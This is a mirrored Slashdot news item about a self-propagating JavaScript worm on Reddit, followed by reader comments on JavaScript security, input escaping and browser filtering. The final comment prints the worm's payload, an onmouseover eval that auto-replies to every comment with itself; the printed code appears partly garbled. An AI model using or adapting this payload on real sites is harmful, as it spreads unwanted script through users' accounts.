Slashdot Mirror


Reddit Javascript Exploit Spreading Virally

Nithendil writes "guyhersh from reddit.com describes the situation (warning: title NSFW): Based on what I've seen today, here's what went down. Reddit user Empirical wrote javascript code where if you copied and pasted it into the address bar, you would instantly spam that comment by replying to all the comments on the page and submitting it. Later xssfinder posted a proof of concept where if you hovered over a link, it would automatically run a Javascript. He then got the brilliant idea to combine the two scripts together, tested it and it spread from there."

20 of 239 comments (clear)

  1. Is this good news or bad? by Anonymous Coward · · Score: 4, Funny

    I don't know. Sounds good !!

    1. Re:Is this good news or bad? by pla · · Score: 5, Insightful

      it will hopefully educate webmasters to stop programming their sites in a way that requires javascript even for basic functionality.

      *cough*Slashdot*cough*

    2. Re:Is this good news or bad? by Anonymous Coward · · Score: 5, Insightful

      No, it won't. The other 6 million javascript exploits didn't do that. What makes you think this one will?

    3. Re:Is this good news or bad? by SanityInAnarchy · · Score: 5, Insightful

      Just as exploits in the image processing components of web browsers will hopefully educate people to surf in Lynx? Or exploits in their HTML rendering will hopefully educate people to surf by piping wget through less?

      This was not because of Javascript, nor is Javascript going away because of this.

      --
      Don't thank God, thank a doctor!
    4. Re:Is this good news or bad? by Anonymous Coward · · Score: 5, Insightful

      As a web developer, I beg to differ. There is absolutely no excuse for writing a page that doesn't 'fail gracefully' when javascript isn't present. Let's face it, for every reputable page out there (att.net, youtube.com, etc) there are a hundred others designed by average joe-schmo webprogrammers. And lord only knows if they designed their page securely, and lord only knows if someone has hacked them and injected malicious scripts. I seem to recall hearing a few weeks ago that the majority of malicious scripts were being put into hollywood celebrity gossip sites that people were hitting off their google searches.

      For me, the solution is to just whitelist the sites I visit frequently, only allowing scripts/cookies when I know they can be trusted. I'm not saying that you shouldn't design without javascript, but I am saying that you shouldn't assume that everyone visiting your page is going to have it. Besides, how hard is it to write a page that vomits up its contents in a readable form when the javascript doesn't run to position all the css objects? It doesn't have to look pretty, but it should be usable.

    5. Re:Is this good news or bad? by ultranova · · Score: 4, Insightful

      Just as exploits in the image processing components of web browsers will hopefully educate people to surf in Lynx? Or exploits in their HTML rendering will hopefully educate people to surf by piping wget through less?

      There's a huge difference in complexity between image/HTML renderer and Javascript. Image file formats and HTML pages are not Turing complete, while Javascript is. Consequently, the former are "safe" in that it's possible to prove that a particular implementation is free of exploits that would allow running arbitrary code, while Javascript by definition can never be; the whole point of Javascript is to allow arbitrary code execution, so the best you could ever prove is that the code never leaves the confines of the Web browser - but having a script post comments does not require that.

      This was not because of Javascript, nor is Javascript going away because of this.

      Yes, this was because of Javascript, but no, sadly it won't be going away.

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    6. Re:Is this good news or bad? by aardvarkjoe · · Score: 4, Insightful

      The solution is for programmers to stop being idiots

      Any proposal that relies on any group of people to not be idiots is doomed to failure.

      --

      How can we continue to believe in a just universe and freedom to eat crackers if we have no ale?
    7. Re:Is this good news or bad? by Idiomatick · · Score: 4, Insightful

      This isn't a lesson about javascript. It is a lesson we should have learned from Bobby Tables a long time ago. This shouldn't have been possible regardless of javascript.

      For those not in the know: http://xkcd.com/327/

  2. NoScript by corychristison · · Score: 4, Insightful

    "NoScript FTW!" comments commencing in 3... 2... 1...

    I skimmed the FAQ on the first link, and it seems reddit is responsible for not scrubbing input.

    Next!

    1. Re:NoScript by RiotingPacifist · · Score: 4, Insightful

      Cue me reposting my views on noscript being a pretty crappy tool for modern web security then.

      NoScript comes from a broken way of thinking, "you can identify attacking sites and trusted sites", the attack code for this was coming from reddit.com (a site you have to allow in order to use reddit). The only way this sort of bug can be protected against is by use of javascript filtering tools such as controldescripts that filter javascript request by type and domain, with such a tool it would be possible to protect yourself much more effectively.

      mouseclick is submitting info -> allow
      mouseover is requesting data -> allow
      mouseover is submitting data -> request user confirmation
      javascript function is doing something weird -> request user confirmation
      javascript is trying to use a known exploit* -> deny and notify user (as a workaround for 0-days simply blocking the bad JS calls will protect users much faster than browsers usually get patched) ...etc

      You could also combine this with domain checking to have lists of pages where you allow
      *no-js (untrusted),
      *simple-JS (google, youtube, etc) but [it might allow functionality but could prevent tracking],
      *complex-js (facebook, etc) [all the ajax stuff means simple-JS wouldn't work]
      *all-JS (fancynewsite.com) [even the complex list of functions you allow just isn't enough]

      Such tools could also help the paranoid among us use website that require JS, by disabling mousetracking and sending of data on non-click actions.

      As long as people stick to the broken thinking of trusted/untrusted domains, there is little chance of this actually happening. The worst thing about noscript is that for an unkown site you often have to allow JS on it to see what it looks like, so unless you plan on only browsing sites you've already been to and those that don't use javascript, it is completely useless yet its users claim, nay genuinely think they are more secure!

      --
      IranAir Flight 655 never forget!
  3. Re:proof of concept by immortalpob · · Score: 4, Informative

    This is a flaw in Reddit's comment system, that allows the poster to get javascript code executed. A comment system should not allow you to use "onhover" that is the point.

  4. Re:NSFW? by BlackSabbath · · Score: 4, Funny

    > Eye owl wise ewes a spill chucker sew eye no my spilling is core wrecked.

    Hey, whadda ya know? A sig with a New Zealand accent.

    (Yeah, yeah, I know, offtopic, blah, blah, mod-away...)

  5. Re:NSFW? by Yvan256 · · Score: 4, Funny

    The only fucking thing NSFW about the link is that it fucking says "What the fuck" in the title. And if you can read my fucking comment, you can go ahead and fucking click that link.

    And here's another "Fuck" just for the heck of it.

    Warning: my comment was NSFW and should not have been read.

  6. A Good Idea by CopaceticOpus · · Score: 5, Insightful

    Hey, everyone, there is a javascript exploit on Reddit! Click on these links to Reddit to learn more.

    Incidentally, this old sock smells awful. You should smell it.

  7. html tag to disable active content by TheLink · · Score: 4, Insightful

    Years ago I actually proposed to the W3C and the mozilla bunch to add a tag to disable dynamic stuff like javascript.

    Basically it would work something like this:

    <shield lock="some_random_hard_to_guess_string_here" enabled="basic_html_only">
    The browser will only recognize basic HTML stuff here, it won't recognize javascript or any _future_ dynamic stuff that the W3C or browser people think off
    </shield unlock="some_random_hard_to_guess_string_here">

    The some_random_hard_to_guess_string_here would be different for each page.

    The idea is while the website should still have filters, even if in the future the W3C or browser wiseguys create some new fangled way of inserting javascript or some other dynamic content that the filters do not protect against (since it's new and the filters have not been updated), the browser will just ignore the new stuff that some hacker inserts when it's between the tags.

    To me the current state of things is a bit crazy - basically it's like having a car with 1000 gas pedals (tags) and to stop the car you have to make sure all 1000 pedals are not pressed (escaped or filtered). There is not a single brake pedal! And worse, the W3C or MS or Mozilla or whoever could introduce a new gas pedal, and you the website operator have to filter out the new gas pedal when it's introduced.

    With something like this tag there is a brake pedal, so even if you don't manage to filter out all the 1000 gas pedals, the brake helps to keep stuff safe.

    If they had implemented such a tag, the google and myspace worms would not have worked for so many browsers.

    FWIW, these sort of worms are not new. I managed to find a hole in advogato some years ago (iframe worm) - and hence my suggestion to the W3C and Mozilla.

    But it seems to me than NONE of them are really interested in improving security. They're all just interested in inventing new gas pedals for people (and hackers) to step on. They're not even interested in creating a single brake pedal. They just pay lip service to security.

    See the thing is - it's not too difficult to code a browser to go "OK from now on there's no such thing as javascript till I see a valid unlock tag", so even if there is a browser parsing bug and a hacker manages to insert javascript via a stupid browser bug (that the website filters naturally do not and cannot cater for) it does NOT matter - since javascript will be disabled - between those tags the browser will be respecting the flag that says "I do not know javascript, java and all that fancy stuff" - it does not even have to parse javascript - since for all intents and purposes between those tags, the browser does not know there's such a thing as javascript (or activex or flash etc).

    This is very useful for sites that have to include 3rd party content - sites like slashdot or webmail sites or even sites that serve up ads from 3rd parties.

    --
    1. Re:html tag to disable active content by Timmmm · · Score: 4, Insightful

      Well that's an overly complicated and... well *wrong* way to do it. The correct solution is:

      1. Escape all <'s and >'s and &'s in the input.
      2. Interpret BB-code to add links & basic formatting.

      Simple.

  8. Re:NSFW? by tehcyder · · Score: 4, Funny

    Warning! The above post is NSFW!

    --
    To have a right to do a thing is not at all the same as to be right in doing it
  9. Re:NSFW? by Anonymous Coward · · Score: 4, Funny

    FUCK!!!

  10. Re:Reddit Hacks by Chris+Pimlott · · Score: 4, Insightful

    This is not a weakness or an exploit, it's simply a javascript bookmarklet. You could make something like this for any site, such as Slashdot.

    It's only an exploit if you can force other people to run that code without their consent.

  11. Re:Well, that site has a terrible design by aoni782 · · Score: 4, Informative
    The script:

    z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";o=document;e=o.getElementsByTagName('a');for(i=0;i<e.length;i++)if (e[i].innerHTML=='reply')$(e[i]).click();o=document;e=o.getElementsByTagName('tez="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";o=document;e=o.getElementsByTagName('a');for(i=0;i<e.length;i++)if (e[i].innerHTML=='reply')$(e[i]).click();o=document;e=o.getElementsByTagName('textarea');for(i=0;i<e.length;i++)e[i].value=z;e=o.getElementsByTagName('button');for(i=0;i<e.length;i++)if (e[i].innerHTML=='save'&&e[i].style.display!='none')$(e[i]).click();"